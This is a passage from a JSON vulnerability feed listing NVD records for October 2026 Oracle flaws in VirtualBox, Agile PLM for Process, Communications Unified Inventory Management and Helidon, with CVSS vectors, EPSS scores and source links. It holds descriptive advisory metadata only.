exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101603","cveId":"CVE-2026-101603","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Communications Unified Inventory Management product of Oracle Communications (component: Security).","summary":"Vulnerability in the Oracle Communications Unified Inventory Management product of Oracle Communications (component: Security).  Supported versions that are affected are 7.5.0, 7.5.1, 7.6.0, 7.7.0, 7.8.0 and 8.0.1. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Communications Unified Inventory Management.  Successful attacks of this vulnerability can result in takeover of Oracle Communications Unified Inventory Management. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Communications Unified Inventory Management product of Oracle Communications (component: Security).  Supported versions that are affected are 7.5.0, 7.5.1, 7.6.0, 7.7.0, 7.8.0 and 8.0.1. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Communications Unified Inventory Management.  Successful attacks of this vulnerability can result in takeover of Oracle Communications Unified Inventory Management. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:13.960Z","updatedAt":"2026-10-21T18:43:53.023Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101603","asOf":"2026-10-21T18:43:53.023Z"},"epss":{"probability":0.00345,"percentile":0.27832,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101603&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101603","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101603","type":"primary","publishedAt":"2026-10-20T22:18:13.960Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101603&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101603, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101602","cveId":"CVE-2026-101602","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).","summary":"Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).   The supported version that is affected is 6.2.4. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Agile Product Lifecycle Management for Process.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle Agile Product Lifecycle Management for Process. CVSS 3.1 Base Score 8.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).   The supported version that is affected is 6.2.4. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Agile Product Lifecycle Management for Process.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle Agile Product Lifecycle Management for Process. CVSS 3.1 Base Score 8.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:13.850Z","updatedAt":"2026-10-21T18:43:53.023Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101602","asOf":"2026-10-21T18:43:53.023Z"},"epss":{"probability":0.00359,"percentile":0.29443,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101602&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101602","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101602","type":"primary","publishedAt":"2026-10-20T22:18:13.850Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101602&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101602, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101599","cveId":"CVE-2026-101599","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core).","summary":"Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core).   The supported version that is affected is 7.2.20. Difficult to exploit vulnerability allows low privileged attacker with logon to the infrastructure where Oracle VM VirtualBox executes to compromise Oracle VM VirtualBox.  Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle VM VirtualBox, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle VM VirtualBox. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core).   The supported version that is affected is 7.2.20. Difficult to exploit vulnerability allows low privileged attacker with logon to the infrastructure where Oracle VM VirtualBox executes to compromise Oracle VM VirtualBox.  Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle VM VirtualBox, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle VM VirtualBox. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:13.510Z","updatedAt":"2026-10-21T18:43:53.023Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101599","asOf":"2026-10-21T18:43:53.023Z"},"epss":{"probability":0.00118,"percentile":0.01725,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101599&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101599","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101599","type":"primary","publishedAt":"2026-10-20T22:18:13.510Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101599&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101599, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101598","cveId":"CVE-2026-101598","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core).","summary":"Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core).   The supported version that is affected is 7.2.20. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle VM VirtualBox executes to compromise Oracle VM VirtualBox.  Successful attacks of this vulnerability can result in takeover of Oracle VM VirtualBox. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core).   The supported version that is affected is 7.2.20. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle VM VirtualBox executes to compromise Oracle VM VirtualBox.  Successful attacks of this vulnerability can result in takeover of Oracle VM VirtualBox. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:13.397Z","updatedAt":"2026-10-21T18:43:53.023Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101598","asOf":"2026-10-21T18:43:53.023Z"},"epss":{"probability":0.00152,"percentile":0.04255,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101598&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101598","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101598","type":"primary","publishedAt":"2026-10-20T22:18:13.397Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101598&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101598, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101596","cveId":"CVE-2026-101596","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).","summary":"Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).   The supported version that is affected is 6.2.4. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Agile Product Lifecycle Management for Process.  Successful attacks of this vulnerability can result in takeover of Oracle Agile Product Lifecycle Management for Process. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).   The supported version that is affected is 6.2.4. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Agile Product Lifecycle Management for Process.  Successful attacks of this vulnerability can result in takeover of Oracle Agile Product Lifecycle Management for Process. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:13.170Z","updatedAt":"2026-10-21T18:43:53.023Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101596","asOf":"2026-10-21T18:43:53.023Z"},"epss":{"probability":0.00447,"percentile":0.38571,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101596&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101596","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101596","type":"primary","publishedAt":"2026-10-20T22:18:13.170Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101596&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101596, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101594","cveId":"CVE-2026-101594","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).","summary":"Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).   The supported version that is affected is 6.2.4. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Agile Product Lifecycle Management for Process.  Successful attacks of this vulnerability can result in takeover of Oracle Agile Product Lifecycle Management for Process. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).   The supported version that is affected is 6.2.4. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Agile Product Lifecycle Management for Process.  Successful attacks of this vulnerability can result in takeover of Oracle Agile Product Lifecycle Management for Process. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:12.933Z","updatedAt":"2026-10-21T18:43:53.023Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101594","asOf":"2026-10-21T18:43:53.023Z"},"epss":{"probability":0.00447,"percentile":0.38572,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101594&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101594","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101594","type":"primary","publishedAt":"2026-10-20T22:18:12.933Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101594&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101594, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101593","cveId":"CVE-2026-101593","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).","summary":"Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).   The supported version that is affected is 6.2.4. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Agile Product Lifecycle Management for Process.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Agile Product Lifecycle Management for Process accessible data as well as  unauthorized access to critical data or complete access to all Oracle Agile Product Lifecycle Management for Process accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Agile Product Lifecycle Management for Process. CVSS 3.1 Base Score 8.3 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L).","detail":"Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).   The supported version that is affected is 6.2.4. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Agile Product Lifecycle Management for Process.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Agile Product Lifecycle Management for Process accessible data as well as  unauthorized access to critical data or complete access to all Oracle Agile Product Lifecycle Management for Process accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Agile Product Lifecycle Management for Process. CVSS 3.1 Base Score 8.3 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:12.827Z","updatedAt":"2026-10-21T18:43:53.023Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101593","asOf":"2026-10-21T18:43:53.023Z"},"epss":{"probability":0.0039,"percentile":0.32895,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101593&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101593","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101593","type":"primary","publishedAt":"2026-10-20T22:18:12.827Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101593&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101593, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101585","cveId":"CVE-2026-101585","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Helidon product of Oracle Fusion Middleware (component: helidon-cors).","summary":"Vulnerability in the Helidon product of Oracle Fusion Middleware (component: helidon-cors).  Supported versions that are affected are 3.0.0-3.2.21. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Helidon.  While the vulnerability is in Helidon, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized update, insert or delete access to some of Helidon accessible data as well as  unauthorized read access to a subset of Helidon accessible data. CVSS 3.1 Base Score 7.2 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N).","detail":"Vulnerability in the Helidon product of Oracle Fusion Middleware (component: helidon-cors).  Supported versions that are affected are 3.0.0-3.2.21. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Helidon.  While the vulnerability is in Helidon, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized update, insert or delete access to some of Helidon accessible data as well as  unauthorized read access to a subset of Helidon accessible data. CVSS 3.1 Base Score 7.2 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N).\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:11.913Z","updatedAt":"2026-10-21T18:39:21.847Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101585","asOf":"2026-10-21T18:39:21.847Z"},"epss":{"probability":0.00205,"percentile":0.10321,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101585&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101585","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101585","type":"primary","publishedAt":"2026-10-20T22:18:11.913Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101585&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101585, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101583","cveId":"CVE-2026-101583","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Helidon product of Oracle Fusion Middleware (component: helidon-common-mapper).","summary":"Vulnerability in the Helidon product of Oracle Fusion Middleware (component: helidon-common-mapper).  Supported versions that are affected are 4.0.0-4.5.5 and 27.0.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Helidon.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Helidon accessible data as well as  unauthorized read access to a subset of Helidon accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Helidon. CVSS 3.1 Base Score 7.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:L).","detail":"Vulnerability in the Helidon product of Oracle Fusion Middleware (component: helidon-common-mapper).  Supported versions that are affected are 4.0.0-4.5.5 and 27.0.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Helidon.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Helidon accessible data as well as  unauthorized read access to a subset of Helidon accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Helidon. CVSS 3.1 Base Score 7.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:L).\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:11.687Z","updatedAt":"2026-10-21T18:39:21.847Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101583","asOf":"2026-10-21T18:39:21.847Z"},"epss":{"probability":0.00227,"percentile":0.13371,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101583&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101583","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101583","type":"primary","publishedAt":"2026-10-20T22:18:11.687Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101583&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101583, scored 2026-10-25. This is a model estimate, not proof of 